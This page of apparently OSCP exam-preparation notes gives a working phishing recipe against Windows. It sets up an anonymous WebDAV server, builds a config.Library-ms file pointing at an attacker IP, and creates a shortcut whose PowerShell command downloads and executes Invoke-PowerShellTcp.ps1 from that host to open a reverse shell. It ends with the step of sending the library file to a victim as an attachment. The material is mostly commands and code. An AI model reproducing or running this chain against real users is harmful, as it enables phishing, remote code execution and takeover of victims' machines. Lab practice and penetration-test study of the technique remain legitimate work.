> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/library-files-+-lnk-rev-shell.md).

# Library files + lnk Rev Shell

### Setting up webdav directory

<pre class="language-bash"><code class="lang-bash"><strong>wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/Documents/pwk2023/relia/webdav 
</strong></code></pre>

* `pip3 install wsgidav`

### Creating library file (shortcut for directories)

* Name is `config.Library-ms`
* Once library file is doubled-clicked --> code will be changed (unable to have the intended effect alr)

```bash
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.173</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```

### Creating Rev shell lnk shortcut

* On File Explorer, Right-click --> new --> shortcut
* Location of item:

```bash
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.173:8000/Invoke-PowerShellTcp.ps1');
```

* Place lnk shortcut inside webdav directory and send phishing link to victim with `config.Library-ms` as the attachment